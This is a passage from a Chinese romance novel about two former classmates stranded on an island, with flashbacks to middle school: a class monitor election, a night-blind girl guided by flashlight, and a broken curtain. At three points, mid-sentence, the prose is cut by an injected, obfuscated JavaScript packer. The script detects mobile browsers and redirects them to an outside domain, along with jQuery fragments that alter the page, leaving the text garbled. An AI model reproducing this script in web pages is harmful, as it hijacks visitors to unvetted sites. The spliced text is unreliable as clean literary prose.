陆京辉扭头过来白了季瑞一眼,但眼神也只是觉得好玩有趣,并带着些“知道你们关系好,但大可不必如此护短”的幽默感的微表情,浮夸地咳嗽了两声,和老王举手自己也选值日班长。 瘦瘦的、小小的男孩子是如此勇气可嘉。 康妮好奇地抬起头,看到小陆同学在台上扯得天南地北直至银河系外太空,还有昨儿老班牙上那根青菜叶,讲得乱七八糟,但自信得要命,最终全班都被陆京辉逗得捧腹大笑。 但是王老师很不满意,认为这样的学生根本不适合当班长,将他轰下去,一个板栗子敲在头上,还用陵城话问他热板栗可好吃。 “看吧,这不难。” 陆京辉走下讲台回到座位前对着诸葛康妮打了个响指。 但她还是不愿意上台,尤其是被身边一圈坐在一块的同学们簇拥着催促她上台,这样会让她更局促,有种如果上台了讲得不好的话她的整个世界就要在那一刻毁灭的即视感。 直到老班听了大约十来个学生的竞选演讲后,季瑞偷偷拍了拍康妮的后背,用一种只有他们两个人之间才能听到的声调讲话。 “诸葛康妮,你也试试。” “我不。” 她在课桌下扭手,左手指和右手指缠绕,拧得跟麻花似的。 也不知道她是怎么就这样子一直别别扭扭地长大的,是朵永远不敢直视太阳的小花,有点蔫巴的,一遇到雨水就发沉发烂的阴恻恻的个性,就算你拿着枪指着她的脑袋告诉她做得不好也没事的,她也宁可被一枪爆头也不敢踏出尝试这一步的。 内向到诡谲的一种样子的,小姑娘。 “你上去试试看。”季瑞挑了挑右眉补充,“算了,我就知道你才不敢,不上就不上吧。” 诸葛康妮的叛逆又调转了弯,变成了叛逆的二次方。 她正在鼓起勇气尝试举手,她已经抬头了,只差一把火。她盯着两人课桌之间“楚河汉界”上摆着的鲜红色瑞士军刀,像是被突然点燃了什么革命精神似的,心里已经开始打起了班长演讲的腹稿,第一点、第二点、第三点…… “诸葛康妮,你要是选上了班长,我就把我这把瑞士军刀送给你。” 季瑞将这把瑞士军刀拿起来,在手里荡了荡,最后收起来,塞进诸葛康妮的彩虹独角兽铅笔袋里。 拉好拉链,宣告康妮的提前胜利。 诸葛康妮理了理自己的鬓角,露出光洁的额头,心脏狂跳不止,整个人就像是飘到讲台上的似的,她完全意想不到自己会拥有这样的勇气,直到她认为自己有条有理、中规中矩地完成了自己的演讲,讲到最后一句话的时候。 班级里由Jerry带头,男生们起哄,产生了雷鸣般的掌声,直接惊到了隔壁班的人,甚至别班班主任也扬着笑揣兜来旁观。 “我虽然成绩不算太好,性格也腼腆,但是这次班长竞选带给我很大的进步,我希望在接下来的初中三年里好好努力,变成一个敢说话,认真学习的好学生。如果我能竞选成功,我会尽我所能为班级同学们做好服务,和大家共同进步,共同成长!” 下台后,掌声仍绵延不绝。 老班、隔壁老师、同学们、甚至别班同学们的目光凝聚在初一166班教室里的倒数第三排,这是她第一次感受到“被关注”的滋味。 诸葛康妮坐下来,双手捏着自己铅笔袋里的瑞士军刀,现在的脸比这把刀的颜色还要红。 她感觉到自己的心脏在自己的胸膛里唱卡拉OK,血液循环流动的时候是小溪在跳舞,欢欣雀跃原来是这样的好形容。 此刻,在她的身上得以全部体现了。 “不照,讲得没我讲得好,太官方了,有种打官腔的感觉。”陆京辉又在那嬉皮笑脸地讲话,又给章穗、季瑞、康妮等人散了几块奶油小饼干,跟中年人散烟似的。 “那你是照啊,这个班交给你马上可以上天。”章穗习惯性把小饼干捏成碎片,拿在手里晃荡。 前两排的小孩们听到后边章穗和陆京辉的对话,也是笑得不停,这种班级活动,有时候算是枯燥无味中学生活中的甜蜜调味剂。 班干部演讲一轮接着一轮,时间卡得很紧凑,竟也“浪费”掉了两节宝贵的数学课,竞选结束,又到了紧锣密鼓的投选票环节。 关于这个老王独家设置的“值日班长”职务,有着专门的选票环节。班主任老王说,要全部按照民主选举的方式来,不算班主任加分。 每个同学都有着三张选票,三张可以重复投,选票高者入选。 一人三张选票,被前班长陈诚依次发下来。 要在这个时候抢夺先机,等不及同学们掏出中性笔在空白的三张选票上签下别人的名字,季瑞的人际雷达已经开始发出讯号了。 班级男孩子们和季瑞的关系好到离谱,甚至选票还没发下来就开始朝着季瑞的方向看。 不少人笑得意味深长,只有康妮懵懵懂懂不明所以,接到选票后,她甚至没有时间抬头来看班级里任何一个人的动作和表情。 她坐在那里思考,要不要壮起胆子来在这三张选票里弄一张来投给自己。 为首那位戴眼镜的老实孩子孙健刚一拿到选票,就转过身来,侧对着后排的季瑞,用唇语念念叨叨的。 (怎么讲?投康妮?) 季瑞先是不可思议地将眯着的眼睛睁大,略微抬头,眉梢一挑。 那意思分明是,你说呢?当然。 男同学孙健也眯了眯眼睛,唇角微挑,懂了,朝着侧后方的季瑞比了一个“OK”的手势。 接着他拿起自己的黑色圆珠笔,以一种很奇怪的握笔姿势快速地在空白的选票上面签下了“诸葛康妮”四个大字,将此名字重复了三遍,随后跟拿扑克牌似的将三张选票展示在后排同学们的面前,孙健由鼻梁推了推眼镜,选票在他手里好像成了会发光的指令牌。 不少男孩子也跟受到了某些号召似的。 投诸葛康妮是吧? 没问题,包在咱们身上! 男孩子们,甚至和季瑞玩得好的女孩子们都非常俏皮地在那里拍了拍自己的胸脯,说着“我懂我懂”“包在我身上”。 懂完了的,闭着眼睛打着没问题的手势。 头点了点,ok没问题,几对眼神来回穿梭了下,笑嘻嘻的。 当然不必说季瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812660|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的那三张选票毫无疑问只有可能是她,只会是她,也一定是她,必须是她。 他就要让诸葛康妮当上周一的班长。 最后前班长陈诚公布选票的时候也惊讶得舔了舔唇,无奈笑了,他那三张选票其实只投给了康妮一张,但是数选票的时候他觉得这个数字有些吓人。 班级里只有59人,每人三张选票,也应该只有一百七十七张选票。 但是独独投诸葛康妮一个人的就有一百零二张。 这完全是压倒性的优势,陈诚将“102”的得票数用白粉笔公布在黑板上时,苍劲有力,写得极为认真。 再到后边,甚至使用粉笔的力度都减弱了,他写得很轻,几乎看不清上面是多少票,每个人头上仅仅只有几票而已,像是一种给其他同学面子上的照顾。 黑板上停顿了几下,上面突然写了一个大大的“诸葛康妮”的名字,下边标着102票,画“正”字的话要写将近“20”个正字,还要多两笔。 季瑞写完后将粉笔别在自己的耳后,盘腿坐在诸葛康妮的身边,问了她一个问题。 “还记得吗?一百零二票。” 康妮在傍晚的废弃学校的讲台上坐下来,烤火,被这话问得勾带出了许多十几年前的回忆,这个怎么会不记得呢? 她当然记得,初中那会,她做了周一的值日班长。 这是关于打开她演讲天赋的启蒙运动。 “我拿了一百零二票,我真是太有演讲天赋了,所以我之后高中学了省考模块一的播音,还考了市第一。” “那是我功劳。”Jerry冷不丁冒出来一句话。 “什么?” 康妮被这无厘头的发言搞懵了。 “你想想看,那时候你在班里完全不说话,跟个透明人似的,为什么会有那么多人给你投选票,还个个都用的三票?有没有想过是什么原因?” “我漂亮。” 她说。 “这个倒是实话。” “哼哼。” 她很得意。 她一直以为那是自己的个人魅力,从未曾想,是季瑞在背后默默拉票。 其实她也早该猜到了。 隐隐约约间,她早就听到了那些叽叽歪歪的“闲言碎语”。 她知道Jerry喜欢她,不是明的,是暗的。 “那时候坐我前排的女生章穗,听说是帮我拉了很多选票,说我当了班长后不偏袒她就是有毛病,选我做班长就是为了钻空子,不然选我干嘛,这些话我都记得呢。”康妮笑笑,十几年前的事情看上去仍然有些耿耿于怀。 “狗屁,那是我。” “我选了你。男同学们也都选了你,章穗能鼓动大汪和孙健他们那帮人?还有张问鼎和老谷?咱们这号召力堪比马丁路德金好吧?” “当时我巴掌都拍红了,通红的。” “干嘛要这样?”康妮问。 “兴奋,激动啊!”他答。 “我当班长你很激动?为什么?”康妮乐坏了,在黑漆漆的教室里在火堆的焰苗里笑,伸出两只手来取暖。 因为,觉得你会开心啊。 看到你开心我就会开心,看到你获得了成功,比我自己获得了成功还要更加兴奋和快乐。 就是激动。 他在心里这样回答。 手电筒这时候从他臂膀里的口袋中掏出来,又晃到了诸葛康妮的脸上。 “神经啊?又在这里浪费电,赶紧把你那破手电收回去!!” 诸葛康妮丢了根粉笔过去,砸中季瑞的脑门。 “怎么能说是破手电,手电筒多有用啊?” “手电筒伴随了我一整个初中时代,我告诉你诸葛康妮,我对手电筒有特殊情结,手电筒是好东西,我这辈子都要一直买手电筒。” 康妮沉默了。 她想起来一些事情,兀自感动,泪水充盈眼眶,却强忍住,强制自己现在一定要笑,千万不要哭出来。 她的声音带着轻微的颤抖。 “好啊,手电筒哥。” 好啊,白月光初恋姐。 他又在心里说了这样一句话。 8. 08 夜盲症星人 喜欢康妮这件小事。 不算太小的事,至少在季瑞心里是这样的。 不过如果是上初中的话,这必须要变成一件小事。 让死党和好朋友们们知道自己对康妮有点意思,这没什么。如果让老师们和家长们知道,他喜欢康妮。 那就成了一件大事了。 一件会把诸葛康妮吓坏的大事。 因此,季瑞喜欢得非常小心翼翼。 他尽量避免这件事情被捅破,最好不要被任何人发现。 最拙劣的手段就是让诸葛康妮虽然看起来和自己很熟,但是很明显非常讨厌他,把他当成一个——“最讨厌的朋友”。 用手电筒这回事,是他表达自己浓郁情感的某种具体手段。 “我的天哪,老王搞补课的地方怎么永远这么黑?!” 说这话的是陶翔。 他的讲话声音很尖锐,发型是经典的向上扬一个刘海,看上去像马小跳故事里面的诙谐人物。 然而同学们只是觉得黑,诸葛康妮是正儿八经的恐惧黑暗。 如果说这节课很不凑巧的,季瑞并没有来,或者说两人的小课课程不在同一档时间。 这将是康妮最难以承受的炼狱。 数学小课用的是学霸版《实验班》,题型复杂到她想连夜从十八层天台跳下去见地下的祖宗。 听又听不懂,学又学不会。 上老王的课还要假装听懂他说的数学概念,甚至需要在衔接补课费的时候,听老王表演一般地强调,康妮的爸爸诸葛振在求着他继续补课,甚至要跪下了。康妮听完后只有一个感受,我真是这个世界上最差劲的小孩。 每次上完小课后都要抱着一种我完蛋了的心态下楼。 看其他初中同学们非常不熟地,连声告别都没有的从她的身边掠过,漆黑的楼道里一点阻碍也没有地匆匆下楼。 诸葛康妮会感觉到很惊慌,也想要快一点下楼,生怕耽误一丁点的时间。 “走了啊,干嘛下楼这么慢?”季瑞拍了拍她的斜挎包。 真是万幸,这一声是个特别特别熟悉的声音,平时很欠揍,今天一点也不了,康妮像是抓到了什么救命稻草。 “我不行,我下楼不行,我有夜盲症。” 如果是关系一般的同学,会说这是一种矫情病,下楼难道没有自己的判断,都这么大的人了,竟然不敢下楼,这太可笑了。 如果是父母,当然更要说,学习差也就算了,连下楼都比别人更慢。 这就是所谓的后进生。 后进生在任何时候都会变得更敏感,做什么都畏手畏脚,浑身上下任何地方都是可以被轻易攻击的贝壳里脆弱的肉,甚至是留得稍微长了几寸的头发也会成为“想早恋”的标志。 越是打上标签的后进生就越会成为恒久的后进生。 因为太没有自信了,以至于根本想不到自己还可以变得很优秀。 但是在季瑞这里,一切都会变得不一样。 “夜盲症怎么了,恶作剧之吻的女主角袁湘琴也有夜盲症啊,不过我希望你这算不上什么真正的夜盲症,真正的夜盲症,恶化后人的眼睛是会瞎掉的。” 康妮在黑暗之中拉住季瑞的衣袖,被牵引着向前走,手电筒的光源很充足,一看就是刚上的南孚电池。 “要多吃胡萝卜,变成小白兔。诸葛康妮以后可以不用叫这个名儿了,你可以叫诸葛白兔,爱吃胡萝卜的诸葛白兔!” 已经下到二楼了。 在这里已经要提前做好说再见的准备,季瑞看着康妮松开自己的衣角,在二楼手电筒光源的倒影中,回头来看他。 他在黑暗中笑笑。 “你走吧,我会在后面给你打着光的,把你的路都照亮。” 只见季瑞站在二楼楼梯间,胳膊撑在楼梯间的楼杆上,单手拿着手电筒向下照,看着康妮走远了点就慢慢地向下移。 两人一前一后,保持着充分且恰当的距离,就这样像条有端点的线一样,从数学王老师的小区里走出来。 她走在前面,挎包向上提,步伐走得快而轻巧。 他走在后边,步调稳健而深重。 最终他会站在金山东路和淮河大道的交界口,看着心爱的女孩子安安稳稳地走向去往自己家的那一条路。 有时候康妮会因为终于放学了兴奋地跳跑起来,这时候他会噗嗤一笑,恨自己没有带相机。 但是脑海里已经形成了照相机的胶片,这下楼的五分钟,那双细嫩的小手牵住衣角的那五分钟,那股干干净净的甜香萦绕在鼻尖的那五分钟,实在是在他的脑海里挥之不去。 这些得以在漫长深夜当中辗转反侧,反复咀嚼一夜。 接着第二天又见到了康妮,看到她高高兴兴地从桌肚里掏出早点酱香饼,没吃两口就开始犯恶心,干呕,丢掉。 诸葛康妮小时候还怪喜欢浪费粮食的。 和现在完全不一样。 或许是现在食物变成了一种稀缺资源,要是流落荒岛了再不吃东西,就要饿死了,这是人最基本的求生欲。 他看到康妮自行将鸽子的内脏用树枝串起来拿火烤,紧接着一点儿也不给他留,全吃下了肚子,他觉得好笑,觉得康妮狼吞虎咽的样子实在是太有趣了。 没过多久,火焰渐渐少了些,季瑞走出教室门口,又裁剪了些走廊窗台上的树枝用以做篝火堆的燃料。 康妮这时候已经陷入沉睡,用那些干燥的作业本当枕头,将季瑞长而宽的冲锋衣当作被子,在那儿吃完了睡着了,睡得很安稳。 季瑞从她兜里拿出剩下那四分之一的树莓饼干,吃下去,接着试探性地凑到了康妮的身边,撑着手臂看着她,盯着她的鼻尖。俩人双唇近在咫尺,稳定而均匀的吐息撒在他的额头,他突然有了种无端冲动。 朝着她贴过去,想要在她饱满的唇珠上落下一记吻。 但被一声“咕噜噜”的肚子叫声打断,梦里康妮应该是看到了什么好吃的东西吃不到,讲梦话呢。 “想吃鱼,想吃……好想……吃鱼。” 季瑞松开撑在地面上的手,从一个将康妮包裹住的姿态变成坐在她身边耐心地观察她,又听到她肚子嗡嗡叫了几声,于是笑着躺下来,在无数次小心翼翼的观察后,他慢慢地,平行地挪动着来到诸葛康妮的身边。 和她躺在一起。 天知道这个时刻有多让人激动。 终于和她躺在一起了。 还是这样一个的孤岛,这样的一个废弃学校,一个没有早九晚五的工作,不谈工资职务、学历职称、身家几何的,空无一人的荒野之地。 这里只有他们两个人。 康妮只有他,他也只有康妮。 季瑞意识到这种感觉在荒岛上是一种变态。 但他控制不了自己看向她。 他躺在那里,看诸葛康妮下颚骨的毛细血管。皮肤实在太过白皙,像个小天使。这一点和十四年前几乎完全一致,无论和康妮坐前后排还是做同桌,他总是能在朝阳东升的早自习时间,看到她迎着明媚日光的白到透光的面部肌肤。 看向她,偷偷的,很多很多次。 用余光。 就感觉是在看属于他的太阳。 现在是在篝火燃起来的火光之下,温柔地看着她,这一刻全世界仿佛按下来暂停键,只允许他深深地凝视着她。 实在没忍住,他摸了摸她的脸颊。 康妮睡着后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812661|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他去了外边,找到学校操场后面的那片海,当然是很难钓上来鱼,但是收获了些寄居蟹和小海蟹,飘上岛的海带之类的东西。 下雨了。 雨点逐渐变得沉重起来,季瑞很快地拎着四四方方的塑料粉笔收纳盒,将里头的海货装好,就往这座废弃学校里跑。 他有点担心,他担心的事情真的发生了。 康妮醒了。 如果只有她自己一个人,她一定感到很害怕。 “季瑞你在哪儿啊?我看不见你!” 火光逐渐小了,视野变得更暗,就快要到一种她完全看不见的程度。 这里唯一能够给人带来安慰的东西就是这一堆即将燃尽的篝火,康妮也学着季瑞的样子往篝火堆里继续增加燃料,但是她只能在小范围内搜寻下树的枝条,或者拿着讲台桌桌肚里装着的那些作业本丢进火堆里。 书页在火堆中燃烧,发出吱拉烧焦的声音。 这时候下起了大雨,风刮得紧,雷声随之而来,铺天盖地的混沌感将她裹挟,她开始郑重地怀疑起眼前这一切的真假。 仿佛自己真的被困在了盗梦空间里。 太恐惧了,这里没什么是她可以依赖的,只有季瑞。 但是她身边什么都没有,空空荡荡,只有无尽的黑,和狂风骤雨,没填饱的肚子,摇摇欲坠的生命。 这是她活到这么大,这么二十多年以来第一次在这样半开放的空间当中迎着风雨放声大哭,像是把这么多年来的委屈全部都发泄了出来似的。 就快死了,真的就快要死了。 在这里怕是活不下去了。 季瑞到底在哪里? “康妮!” 一个坚定温暖的拥抱扎扎实实地覆盖了上来,她伸出手来扣过对面人的后背,背肌沟壑分明,像一堵充满安全感的围墙,将她包裹其内,一道惊雷紧接着劈盖下来,康妮感受到对面抱着的人将她抱得更紧了些,温柔地抚摸着她的脑袋。 但她的哭声并没有减弱。 她也伸手来抱紧季瑞,哭得跟个受了天大委屈的小孩子一样,哭一会儿喘口气。 “我找不到你了,你为什么不见了,你为什么突然不见了留我一个人在这里,我很害怕啊,我怕死。” 可是打雷了不会死,孤独才会让一个人绝望。 她由此产生了一系列古怪的情绪变化,这是她第一次对季瑞产生这么明显的依赖,康妮终于发现,自己对季瑞的情感不只存在于友谊,还有依赖,甚至产生了无端的类似爱的感受。 季瑞拍了拍她的背,就像十四年前在教室里一样,两人都被留堂了,康妮很绝望,绝望到要自尽的程度。 只有他仍然是个乐天派,他说,答不出数学试卷,这又有什么关系,反正不还有我来给你垫背。答错数学题的人生并不是失败的人生,解不出数学公式的小孩也不是坏小孩,尽力就好,这点小事不至于死,我们要好好的活着。 康妮抱着他,觉得身体一下就回温了,过了不一会儿,她感受到自己的脖颈儿处湿湿的,是季瑞留下了两行热泪。 只听到她身边这个人喃喃自语,像说梦话:“我也找不到你了,十四年,为什么你突然不见了,你在我的世界里消失了,我才绝望。” 松开怀抱后的第一时间,康妮做的第一件事就是好好的,认认真真地看向这个目光澄澈的男孩子,她从他的目光中看出来点不一样的东西,或许也是很早很早之前就知道的内容,只是她一直装作不知道。 “季瑞,十四年前你喜欢我。” 那现在呢? 只那一瞬、只那一瞬。吻细细密密、雨点般落下来,循序渐进的,呈一副暴风雨来临之际的架势的,让她几近窒息。 9. 09 修窗帘 C.Repair 几乎成了一种掠夺,片刻间占有她的唇齿间的每一寸领地。蓬勃的情感在此刻从星点火苗迸发成烈焰燃原。 想占有她。 但是不敢也不能。 以至于克制了太久,因她说了这样突然的一句话,以泄洪般毁灭之态淋漓尽致地展现。 很烫。 却溺海的感觉。 这个吻,在当下显得格外漫长。 却在天蒙蒙亮的时候变成了她记忆里蜻蜓点水的一瞬。 诸葛康妮甚至没来得及接受这个和十四年前那个最讨厌的朋友在荒岛莫名其妙突然接吻的事实。 两人之间的氛围就突然变得凝重和尴尬。 经久的沉默让彼此看上去就像一对陌生人。 甚至是有了隔阂的对象。 康妮坐在废弃教室的最前排靠窗的位置,季瑞卧坐讲台上,用余光打量着那个坐在第一排的姑娘。 看到大风毫不犹豫地将她左侧上方的破窗台刮倒,旧得泛黄的窗帘顺着正上方的轨道摔下来。 就差一点点要砸在她的身上。 季瑞及时跑上前将窗帘的边缘裹在自己的手里,却没能来得及将又沉又厚的窗帘布料从康妮的身上完全挪开。 就这样,像个舞台的深红色幕布一样盖住她,再到被掀起来。 康妮被窗帘盖住,上面湿漉漉的还有雨水的痕渍,季瑞掀开窗帘想看看她有没有被砸伤。 但她却默默扯了扯窗帘,让其形成一道蜗牛壳般的屏障,将自己包裹在其内,从外边看,倒像是个受了委屈的小孩边哭边玩玩躲猫猫。 她将自己盖着裹在窗帘里,越裹越紧。 短暂地跟这个世界保持隔离的姿态,躲起来。 ——不用考虑分数和作业,不用应付人,不用跟任何人讲话。 跟课间十分钟躲在厕所里一样舒服,自在。 一种荒诞渺小的希望。 外边好像有同学们在笑。 班主任好像生气了。 紧接着,她感觉到外边有人用一块三角板将窗帘边缘的布料掀开,皱着眉头指的她的鼻子。 “叫你拉个窗帘也能弄成这样!?” “拉坏了就算了,你躲在这脏窗帘里……你是打算让大家觉得好笑,围观你,不能继续上课,你一天天的怎么就那么喜欢影响所有人?” 还有那句只有成年人才懂得是吓唬人的威胁。 “拉坏了,你爸得赔个千把块钱。” 扑克脸瞬间变成了泪失禁体质。 因为哭得太直接,以至于一群12岁的小朋友都以为拉坏学校的窗帘需要家长来学校赔偿。 毕竟是她拉坏的啊。 做了坏事就要承担责任。 就这样在坏掉的窗帘旁边沸沸扬扬地讨论。 有旁观者的窃喜、同情、幸灾乐祸、无动于衷和鄙夷。 “好可怜,如果是我的话简直不知道怎么回家见父母了。” “要赔钱的。” “大概赔多少,不会要换个新的窗帘给学校吧。” “听说学校的窗帘都是厂家特供的。” “好烦,我们班的窗帘坏了都怪她,今天下午要晒死了!特别刺眼。” “是啊,我的眼睛要瞎了,好刺眼,其实我想说诸葛康妮好讨人厌。” 她埋着头,此刻最想做的事情就是抓紧时间去厕所,躲一会。 不过不能躲太久,但最起码大课间的二十分钟是可以的,算上厕所到教室的距离还需要预留出两分钟来,她要准点进班不能迟到。 但是她此刻泪水满溢,鼻涕纵横,实在太难堪了。 这真的不能给任何人看到。 季瑞默默在康妮的身边垒起来一座用各种课本、辅导书、试卷堆叠的小山,看起来挺中二的。 这样恰好能把哭泣的康妮严严实实地挡住。 一个小围墙,很安全。 她想哭就哭。 哭完了一伸手,就可以拿到他叠得整整齐齐的跟酒店大堂里摆的旅游手册一样的面巾纸。 每次康妮哭,他都能很快拿出纸巾; 其实他的兜里总是偷偷藏着各种各样不同花色的纸巾。 因为康妮总爱偷偷哭。 不过这次有点不一样。 他能猜到康妮当下的世界已经被这个突发事件弄得快要毁灭了。 季瑞其实没忍住,他有点想笑,诸葛康妮过分可爱了,怎么拉坏一个窗帘要这么害怕啊。 这分明是学校设施年久失修,差点砸中了这个叫做康妮的乖学生。 拉窗帘也是因为老师要放多媒体,需要避光。 康妮不是一个很好很听话的小孩吗? 因为心中有数,所以季瑞显得格外轻松。 你可以看到一对儿小同桌,康妮的这一边充满阴霾狂风骤雨,另一边儿的季瑞头顶灿烂阳光,鸟语花香。 “诶!哭够了没?” 他用胳膊肘捅了捅诸葛康妮,凑近的时候闻到了康妮身上奶乎乎的爽身粉味儿,闻起来就干干净净的。 季瑞微笑着深吸一口气,枕着双臂靠在座椅上。 在余光中他发觉康妮平直的后背停止了颤抖。 窗帘的边角攥在她的手里,这时候放下了,开始将目光转移到那些用辅导书和课本堆叠起来的围墙上,情绪好像平复了些。 “季瑞。” “嗯哼。” 他坐直身体,趴在桌面上仔细观察她的表情。 当然,她通常都是冰块脸,一般人看不出来她的任何表情。 但是季瑞不一样。 他知道康妮有点紧张,脸红红的,不太好开口但是不得不开口的样子。这个时候,他通常会回避视线,避免与她直视,不让她尴尬。 他是个很“称职”的好同桌。 “那个……我能求你个事儿吗?”康怡嗫嚅着说出这话。 “你能不能。”她指着头顶上的窗帘对着季瑞说,“能不能帮我修一下窗户,钉个钉子。” “好。” 他不假思索地答应了。 为了康妮,做什么都是义不容辞的。 下午他就拎着锤子去了十二中,虽然这个行为看上去一点也不像个在初中上学的正常学生。 但手握着铁锤的季瑞,此刻像个勇士。 小女孩的娇嫩粉白的面庞上还带着尚未擦拭透的泪痕,就这样拉着窗帘,护着折叠梯上的男同桌。 阴沉沉地站在那里,抬头看,男孩子手握着铁锤,一锤一锤地砸下去。 砸得掷地有声,轻而易举。 三下五除二就搞定了这个让她害怕得要死的突发大事件。 “我去,高手,还带着这么大的锤子,带来捶老班的吧!” “季师傅,季修理工。” “太夸张了?” “修好了?” “诸葛康妮你麻烦季瑞不得请人家吃饭啊?” 诸葛康妮的注意力最后集中在同班男生的最后一句话上。她已经开始思考该怎么报答“修理工”同桌,但就是有点不好意思开口。 男女有别,她不想让别人觉得自己在早恋。 季瑞将窗帘拉了拉,调整了下轨道,最后把窗帘的边角交还给诸葛康妮,让她用手抓住。 “再试试看,这回窗帘肯定不能拉坏了。” 季瑞在窗台边站着,阳光顺着窗沿映照在他的脸上。 背光照在男孩子的鬓角上,如细腻的绸缎般柔和,一个光晕将这个站在这里的人烘托到看上去很高尚。 那一瞬间,是小康妮的守护神。 虽然她不愿意承认就是对面这个讨厌鬼。 “你拉拉看啊?不用害怕。” 他强调了第二遍,说话时很温柔,就是想让诸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812662|175316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 葛康妮再拉一次。 只见她小心翼翼地将窗帘拉合,又用窗户卡住边角。英文课唐老师在铃声响起之前已经抵达班级,带着大录音机,准备在课前给大家播放新单元的英文听力。 班级里报纸英文卷翻来覆去的声音此起彼伏。 除此之外没有任何多余的讲话声。 “诸葛康妮把窗帘打开,今天不用多媒体。” 英语唐老师指了指窗帘。 教室里有些男孩子在那里偷笑,窃窃私语。 其实就算康妮听不到也能知道他们在嘲笑她把窗帘拉坏了这件事。 这回她干干脆脆地把窗帘拉开。 光源顺着窗帘透进教室,英文听力也顺阳光之势漫入学子们的耳朵…… “请听下面的长对话,将合适的答案填入括号内。” “Thankyou,Jack.You’realwayshelpful.” “Remember?Amy?LastmonthIfixedSarah’schairtoo.Sunshineisnice,butnotwhenit’s''toostrong'',right?” “Yeah!Then...seeyouat4o’clock?” “Sure!Evenifitbreaksagain,I’lljustrepairitonemoretime.” ——当然!即使它又坏了,我还会再修一次。 这句话来的太及时,天时地利的凑巧,灵动俏皮。 季瑞和康妮都懂了,彼此相视一笑。 锤子在男同桌的手上重新挥了挥,看起来他就是英文听力小故事里面的男主角Jack。 两人在括号内填上“C”选项。 C.Repairitagain. 遇到问题不用担心,总会有解决的方法。 比如再修理一次。 季瑞笑得很灿烂,高高兴兴地偷摸着收下了诸葛康妮递过来的那颗瑞士莲薄荷巧克力。 听力结束后,他开始臭不要脸地放肆起来。 “零花钱够吗?明天早上我要吃金秋面馆的牛肉面,双份牛肉!ok?” “行。” “诸葛康妮明天你早点起床,陪我下面馆吃面条。” “不行。” 她很抗拒吃早饭。 但她知道季瑞第二天一定会打她的小灵通电话,用书包带做牵引绳,拖着她死气沉沉没睡醒的躯体来到学校正对面的金秋面馆坐下。 面馆的电扇通常吹的都是热风。 吹得人心烦意燥,一点食欲也没有,但看季瑞吃面条是一件很享受的事情,看到他吃得畅快,她也会饿。 “饿了吗?” 一股热风扇在诸葛康妮的脸上,篝火的炽烈扑面而来。 那些碳烤过后的小海蟹和寄居蟹闻上去很香,蟹壳吮一吮甚至能吸出鲜美的蟹黄和汁水。 季瑞拎着蟹腿递过来,康妮很快速地吃干净,平常闻到就觉得恶心的海带也一样,此刻变成了绝世美味。 “没吃饱吧?” “嗯。” 她摸了摸肚子,还是饿。 “去海边转转,或者后面的树林里找找看。” 这个时候康妮从落下的窗帘里彻底钻出来了,才发现季瑞把这个一楼的废弃教室里简单布置了一下。 一个篝火堆、一口不知道从哪儿搜罗来的破锅、甚至出现了一床被子和枕头,以及几个装水的杯子和盆。 课桌搭成了高高的防护栏,用几块窗帘布遮住,就像当初给康妮建造的课本围墙一样,看着很有安全感。 这里真的成了个庇护所。 “看看海。” 季瑞倒是个乐天派,“流落荒岛了也不要紧,总有办法不是吗?万一有人来救我们了呢?” 10. 10 火焰魔术 咸涩的海风卷着浪扑在那块巨大的礁石上,这已经是他们流落荒岛的第三天了,康妮浑身上下肿胀酸疼,雨季让她旧伤复发,膝盖疼得厉害。 从小练古典舞落下了膝盖生骨刺的怪毛病,每当下雨前,她的膝盖就变成了灵验的天气预报。 不过这时候膝盖倒是不那么痛了,就是浑身没力气,人快脱水了。 正午的太阳将人的后背晒得发烫,退潮后的岩缝像一道道饥饿的嘴。 诸葛康妮和季瑞如同两条快要干涸而死的游鱼一样平瘫在那块半面干燥半面被海水湿润的礁石上。 塑料粉笔桶已经被海水冲刷干净,放在两个人的中间,里头空空如也。 康妮躺倒下去,翻了个身,试图去够礁石石壁上发白的藤壶。 “这里还有点呢。”季瑞拿着那把随身携带的多功能刀具撬了撬岩壁的最下方,胳膊在石壁上刮蹭了下,血痕很快结痂,变成蜿蜒如小蛇般的线条。 不一会儿,附着在阴影下变的藤壶和贻贝便一个接着一个的投篮似的投进筐内。 真幸运。 好多藤壶。 一只小贻贝在诸葛康妮的手中当成宝贝似的捏着,突然在她掌心喷出细密的水雾,也在阳光的照射下折射出转瞬即逝的专属于贝类的虹彩。 她的手变得更快,在礁石下边耐心地摸着,沾着海藻绿渍的指甲陷进贝肉鱼岩石壁的缝隙之间,腕骨一转便扯下整簇灰扑扑的贝壳。 康妮的眼睛一下子亮得跟星星似的。 